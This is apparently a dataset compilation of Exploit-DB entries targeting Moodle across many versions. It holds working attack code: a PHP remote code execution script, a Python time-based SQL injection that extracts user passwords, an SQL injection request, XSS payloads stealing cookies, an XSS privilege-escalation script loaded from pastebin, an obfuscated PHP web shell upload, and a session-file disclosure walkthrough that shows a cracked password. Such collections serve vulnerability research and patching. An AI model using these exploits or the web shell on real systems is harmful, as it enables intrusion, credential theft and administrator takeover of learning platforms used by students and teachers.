deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3508
Description: Moodle 1.5.2 - 'moodledata' Remote Session Disclosure
Type: webapps
Platform: php
Date: 2007-03-18
Author: xSh

Exploit:
--/ INTRODUCTION  --


/*
 *
 * Advisory           : MOODLE <= 1.5.2 user password read out
 * Release Date       : 17. March 2007
 * Application        : Moodle.org is a course management system (CMS) 
 *		      :	to help educators create effective online learning communities.
 * Impact             : read out user account passwords in md5 hash
 * Googledork	      : "inurl:moodledata"
 * Author             : xSh[at]overclock.ch
 *
 */


--/    SUMMARY    --

Moodle is a course management system (CMS) - a free, Open Source 
software package designed using sound pedagogical principles, to 
help educators create effective online learning communities. You 
can download and use it on any computer you have handy (including 
webhosts), yet it can scale from a single-teacher site to a 
50,000-student University. (www.moodle.org)


--/   REPRODUCE   --

The moodle CMS is located at 'www.TARGET.com/moodle' and the moodle
database at 'www.TARGET.com/moodledata' including uploads, temp and
session files. We're interested to get the session files, created 
by each user:

http://www.TARGET.com/moodledata/sessions/

Filename:

sess_280c9fca6458bf24277cf03c45d2a770

Content: (> 2KB)

SESSION|O:6:"object":12:{s:12:"session_test";s:10:"zN0PiMhwWK";s:8:"encoding";
s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://www.TARGET.com/moodle/mod/forum/
view.php?id=100";s:10:"logincount";i:1;s:18:"cal_course_referer";i:0;s:15:"cal
_show_global";b:1;s:15:"cal_show_groups";b:1;s:15:"cal_show_course";b:1;s:13:"
cal_show_user";b:1;s:17:"cal_courses_shown";a:2:{i:1;b:1;i:9;b:1;}s:15:"cal_u
sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://www.TARGET.com/moodle/
course/view.php?id=9";}USER|O:8:"stdClass":94:{i:0;s:2:"86";s:2:"id";s:2:"86";
i:1;s:5:"email";s:4:"auth";s:5:"email";i:2;s:1:"1";s:9:"confirmed";s:1:"1";i:
3;s:1:"0";s:12:"policyagreed";s:1:"0";i:4;s:1:"0";s:7:"deleted";s:1:"0";i:5;s:
33:"victim@target.com";s:8:"username";s:33:"victim@target.com";i:6;s:32:"bb07c
989b57c25fd7e53395c3e118185";s:8:"password";s:32:"bb07c989b57c25fd7e53395c3e118185";
i:7;N;s:8:"idnumber";N;i:8;s:9:"Victim";s:9:"firstname";s:9:"Victim";i:9;s:5:
"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"victim@target.com";s:5:"email";


In cryptography, MD5 (Message-Digest algorithm 5) is a widely-used cryptographic 
hash function with a 128-bit hash value. (md5 online crack: http://gdataonline.com)

Password (md5 string) = bb07c989b57c25fd7e53395c3e118185
Password (plain text) = Claudia


--     PATCH     /--

Don't allow Directory listing. There are no other possibilities actually as far as I know.

# milw0rm.com [2007-03-18]
Exploit-DB #29284
Description: Moodle 1.5/1.6 - '/mod/forum/discuss.php?navtail' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-14
Author: Jose Miguel Yanez Venegas

Exploit:
source: https://www.securityfocus.com/bid/21596/info

Moodle is reported prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and an HTML injection issue, because the application fails to properly sanitize user-supplied input data. 

The cross-site scripting vulnerability is reported to affect version 1.6.1; the HTML-injection vulnerability affects version 1.5.

http://www.exmple.com/moodle/mod/forum/discuss.php?d=1&parent=2&navtail=<script >alert() < img src=& #106& #97& #118& #97& #115& #99& #114& #105& #112& #116& #58& #97& #108& #101& #114& #116& #40& #41>
Exploit-DB #30261
Description: Moodle 1.7.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-02
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/24748/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Moodle 1.7.1; other versions may also be vulnerable. 

http://www.example.com/user/index.php?contextid=4&roleid=0&id=2&group=&perpage=20&search=%22style=xss:expression(alert(document.cookie))%20
Exploit-DB #31020
Description: Moodle 1.8.3 - 'install.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-12
Author: Hanno Bock

Exploit:
source: https://www.securityfocus.com/bid/27259/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Moodle 1.8.4. 

<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form>
Exploit-DB #6356
Description: Moodle 1.8.4 - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-09-03
Author: zurlich.lpt

Exploit:
<?php
/**
 * Moodle <= 1.8.4 remote code execution
 */
$url = 'http://target.ru/moodle';
$proxy = 'localhost:8118';

$code = $argv[1];
if(!$code) {
	echo 'Sample use:
		'.$argv[0].' "phpinfo()" > phpinfo.html
		'.$argv[0].' "echo `set`"
		'.$argv[0].' /full/local/path/to/file/for/upload/php_shell.php
	';
	exit;
}
$upload = false;
if(file_exists($code) && is_file($code)) {
	$upload = $code;
	$code = 'move_uploaded_file($_FILES[file][tmp_name], basename($_FILES[file][name]))';
}
$code .= ';exit;';

$injection_points = array(
	'blocks/rss_client/block_rss_client_error.php' => array('error'),
	'course/scales.php?id=1' => array('name', 'description'),
	'help.php' => array('text'),
	'login/confirm.php' => array('data', 's'),
	'mod/chat/gui_basic/index.php?id=1' => array('message'),
	'mod/forum/post.php' => array('name'),
	'mod/glossary/approve.php?id=1' => array('hook'),
	'mod/wiki/admin.php' => array('page'),
);
$file = array_rand($injection_points);
$param = $injection_points[$file][array_rand($injection_points[$file])];
$value = '<img src=http&{${eval($_POST[cmd])}};://target.ru>';

$post_data = array($param=>$value, 'cmd'=>$code);
if($upload) {
	echo "Check at:\n\t\t".$url.'/'.dirname($file).'/'.basename($upload)."\n";
	$post_data["file"] = '@'.$upload;
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url.'/'.$file);
curl_setopt($c, CURLOPT_PROXY, $proxy);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, false);
echo curl_exec($c);
curl_close($c);
?>

# milw0rm.com [2008-09-03]
Exploit-DB #24356
Description: Moodle 1.x - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-16
Author: Javier Ubilla

Exploit:
source: https://www.securityfocus.com/bid/10884/info

It is reported that Moodle is vulnerable to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and would allow for theft of cookie-based authentication credentials or other attacks.

Versions of Moodle prior to 1.3.4 are reported susceptible to this vulnerability.

http://www.example.com/moodle/mod/forum/post.php?reply=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #35297
Description: Moodle 2.0.1 - 'PHPCOVERAGE_HOME' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-01
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46085/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Moodle 2.0.1 are vulnerable. 

http://www.example.com/moodle/lib/spikephpcoverage/src/phpcoverage.remote.top.inc.php?PHPCOVERAGE_HOME=[xss]
Exploit-DB #34169
Description: Moodle 2.7 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-07-27
Author: Osanda Malith Jayathissa

Exploit:
Title: Moodle 2.7 Persistent XSS
Vendor: https://moodle.org/
Moodle advisory: https://moodle.org/mod/forum/discuss.php?d=264265
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Original write-up: http://osandamalith.wordpress.com/2014/07/25/moodle-2-7-persistent-xss/

[-] POC
================

1. Edit your profile
2. Click Optional
3. In Skype ID field inject this payload

x" onload="prompt('XSS by Osanda')">"

[-] Disclosure Timeline
========================

2014-05-24: Responsibly disclosed to the Vendor
2014-05-27: Suggested a fix
2014-06-04: Fix got accepted
2014-07-21: Vendor releases a security announcement 
2014-07-24: Released Moodle 2.7.1 stable with all patches
Exploit-DB #51984
Description: Moodle 3.10.1 - Authenticated Blind Time-Based SQL Injection - _sort_ parameter
Type: webapps
Platform: php
Date: 2024-04-12
Author: Julio Ángel Ferrari

Exploit:
# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter
# Google Dork: 
# Date: 04/11/2023
# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)
# Vendor Homepage: https://moodle.org/
# Software Link: 
# Version: 3.10.1
# Tested on: Linux
# CVE : CVE-2021-36393

import requests
import string
from termcolor import colored

# Request details
URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"
HEADERS = {
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",
    "Origin": "http://127.0.0.1:8080",
    "Referer": "http://127.0.0.1:8080/moodle/my/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",
    "Connection": "close"
}

# Characters to test
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"

def test_character(payload):
    response = requests.post(URL, headers=HEADERS, json=[payload])
    return response.elapsed.total_seconds() >= 3

def extract_value(column, label):
    base_payload = {
        "index": 0,
        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",
        "args": {
            "offset": 0,
            "limit": 0,
            "classification": "all",
            "sort": "",
            "customfieldname": "",
            "customfieldvalue": ""
        }
    }

    result = ""
    for _ in range(50):  # Assumes a maximum of 50 characters for the value
        character_found = False
        for character in characters_to_test:
            if column == "database()":
                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"
            else:
                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"
            
            if test_character(base_payload):
                result += character
                print(colored(f"{label}: {result}", 'red'), end="\r")
                character_found = True
                break

        if not character_found:
            break

    # Print the final result
    print(colored(f"{label}: {result}", 'red'))

if __name__ == "__main__":
    extract_value("database()", "Database")
    extract_value("username", "Username")
    extract_value("password", "Password")
Exploit-DB #49714
Description: Moodle 3.10.3 - 'label' Persistent Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-03-26
Author: Vincent666

Exploit:
# Exploit Title: Moodle 3.10.3 - 'label' Persistent Cross Site Scripting
# Date: 25.03.2021
# Author: Vincent666 ibn Winnie
# Software Link: https://moodle.org/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Google Dorks: inurl:/lib/editor/atto/plugins/managefiles/ or calendar/view.php?view=month

Choose a role : Student (example)
Open calendar :
https://school.localhost/calendar/view.php?view=month

Create new event:
Example:
Event Title "Test"
Description :Choose Insert Video File and choose Video:
Video Source Url you can paste video link from youtube

And open Subtitles and Captions:
Subtitle track URL use video link from youtube
Field Label : There is we can use xss code:

<img src="1" onerror="alert(1)" />

or try in base64

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+"
type="image/svg+xml" AllowScriptAccess="always"></embed>

Insert Media and save this.
Open event and get stored xss.

POST:

https://school.localhost/lib/ajax/service.php?sesskey=vCHlHS7oIl&info=core_calendar_submit_create_update_form
Host: school.localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 996
Origin: https://school.localhost
Connection: keep-alive
Referer: https://school.localhost/calendar/view.php?view=month
Cookie: MoodleSession=4ea[PII_REDACTED]526decc096ed375b886;
EU_COOKIE_LAW_CONSENT=true

[{"index":0,"methodname":"core_calendar_submit_create_update_form","args":{"formdata":"id=0&userid=56&modulename=&instance=0&visible=1&eventtype=user&sesskey=vCHlHS7oIl&_qf__core_calendar_local_event_forms_create=1&mform_showmore_id_general=1&name=test&timestart%5Bday%5D=25&timestart%5Bmonth%5D=3&timestart%5Byear%5D=2021&timestart%5Bhour%5D=10&timestart%5Bminute%5D=4&description%5Btext%5D=%3Cp%20dir%3D%22ltr%22%20style%3D%22text-align%3A%20left%3B%22%3E%26nbsp%3B%3Cvideo%20controls%3D%22true%22%3E%3Csource%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%3E%3Ctrack%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%20kind%3D%22subtitles%22%20srclang%3D%22en%22%20label%3D%22%3Cimg%20src%3D%26quot%3B1%26quot%3B%20onerror%3D%26quot%3Balert(1)%26quot%3B%20%2F%3E%22%3Ehttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%3C%2Fvideo%3E%26nbsp%3B%3Cbr%3E%3C%2Fp%3E&description%5Bformat%5D=1&description%5Bitemid%5D=495874277&location=&duration=0"}}]
Exploit-DB #49797
Description: Moodle 3.10.3 - 'url' Persistent Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-04-23
Author: UVision

Exploit:
# Exploit Title: Moodle 3.10.3 - 'url' Persistent Cross Site Scripting
# Date: 22/04/2021
# Exploit Author: UVision
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org
# Version: 3.10.3
# Tested on: Debian/Windows 10

By having the role of a teacher or an administrator or a manager (to have the possibility to create a course): 

- Create a new course (http://localhost/moodle/course/edit.php?category=1&returnto=topcat)
- Give any name , short name, date and other things required.
- In "Description" field, click on the "link" button
- In the url field, enter the payload : <img src=1 href=1 onerror="javascript:alert(1)"></img>
- Create the link, an alert window appears (close it several times so that it disappears) , save the course. ("Save and return")

Each time the course description is displayed, the stored xss is activated : activate it by viewing the course, by modifying it, etc.
Exploit-DB #50700
Description: Moodle 3.11.4  - SQL Injection
Type: webapps
Platform: php
Date: 2022-02-02
Author: lavclash75

Exploit:
# Exploit Title: Moodle 3.11.4  - SQL Injection
# Date: 30/01/2022
# Exploit Author: lavclash75
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.11 to 3.11.4
# CVE: CVE-2022-0332
# POC

```
GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0
Host: local.numanturle.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

```

```

```

![PHP](img/orderby.jpg?raw=true "PHP")
![PHP](img/uri.jpg?raw=true "PHP")
![PHP](img/sqlmap.jpg?raw=true "PHP")

# Reference
 * [CVE-2022-0332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0332)
 * [Git](https://git.moodle.org/gw?p=moodle.git;a=blobdiff;f=mod/h5pactivity/classes/external/get_user_attempts.php;h=8a27f821bc37f20bafaba6ef436871717b3817a3;hp=216653e93315c4d8ca084fe1e62b2041dece4531;hb=c7a62a8c82219b50589257f79021da1df1a76808;hpb=2ee27313cea0d7073f5a6a35eccdfddcb3a9adad)
Exploit-DB #49814
Description: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-30
Author: Fariskhi Vidyan

Exploit:
# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
# Date: 04/2021
# Exploit Author: farisv
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
# CVE: CVE-2019-3810

Moodle is a learning platform designed to provide educators, administrators,
and learners with a single robust, secure and integrated system to create
personalised learning environments.

The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
privilege escalation from student to administrator.

1. Upload the XSS payload [1] to pastebin or other similar service.
   Change the value of userid to your own id.
   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
2. Login to your student account.
3. Set first name with:
   " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Set surname with:
  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Ask the administrator to open /userpix/ page or put the link to that page
   on your post and wait.

If successful, your account will be added as administrator.

See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810

[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.

var webroot = '/';
var userid = '3';
var sesskey = '';

function get(path, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.send();
    return xhr;
}

function post(path, data, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(encodeURI(data));
    return xhr;
}

function setAdmin() {
    // Assign administrator access to userid
    bpath = 'admin/roles/admins.php';
    data = "confirmadd=" + userid + "&sesskey=" + sesskey;
    post(bpath, data, function(data){});
}

function getSesskey(data) {
    var sesskey_find = data.indexOf('"sesskey":"');
    sesskey = data.substr(sesskey_find + 11, 10);
    setAdmin();
}

function payload() {
    // We can find Sesskey inside JS script in main page
    get('', getSesskey);
}

// Start
payload();
Exploit-DB #49114
Description: Moodle 3.8 - Unrestricted File Upload
Type: webapps
Platform: php
Date: 2020-11-27
Author: Sirwan Veisi

Exploit:
# Exploit Title: Moodle 3.8 - Unrestricted File Upload
# Date: 2019-09-08
# Exploit Author: Sirwan Veisi
# Vendor Homepage: https://moodle.org/
# Software Link: https://github.com/moodle/moodle
# Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4...
# Tested on: Moodle Version 3.8
# CWE : CWE-434

I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that
allows the attacker to upload or transfer files of dangerous types.


Example exploitation request:

POST /repository/repository_ajax.php?action=upload HTTP/1.1
Host: VulnerableHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]151601680
Content-Length: 2763
Origin: https://VulnerableHost
Connection: close
Referer: https://VulnerableHost/user/files.php
Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]151601680
Content-Disposition: form-data; name="repo_upload_file";
filename="image.php"
Content-Type: image/jpeg

GIF89a;
<?php
$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');
$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';
$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';
$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';
$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';
$N='}%%^$k{$j};}}retu%rn
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';
$e='Nmy694Bcj%Vc";fu%nction%
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';
$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';
$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);
$n=$Q('',$P);$n();
?>

-----------------------------
Exploit-DB #51820
Description: Moodle 4.3 - Insecure Direct Object Reference
Type: webapps
Platform: php
Date: 2024-02-27
Author: tmrswrr

Exploit:
# Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR)
# Date: 20/10/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://moodle.org/
# Software Demo: https://school.moodledemo.net/
# Version: 4.3+
# Tested on: Linux 


Vulnerability Details
======================

Steps :

1. Log in to the application with the given credentials > USER: teacher PASS: moodle
2. In profile.php?id=11, modify the id Parameter to View User details,
Email address, Country, City/town, City, Timezone
3. Change the existing "id" value to another number 

https://school.moodledemo.net/user/profile.php?id=4
https://school.moodledemo.net/user/profile.php?id=5
https://school.moodledemo.net/user/profile.php?id=10
https://school.moodledemo.net/user/profile.php?id=50

https://school.moodledemo.net/blog/index.php?userid=3
https://school.moodledemo.net/blog/index.php?userid=14

https://school.moodledemo.net/mod/forum/user.php?id=53
https://school.moodledemo.net/mod/forum/user.php?id=50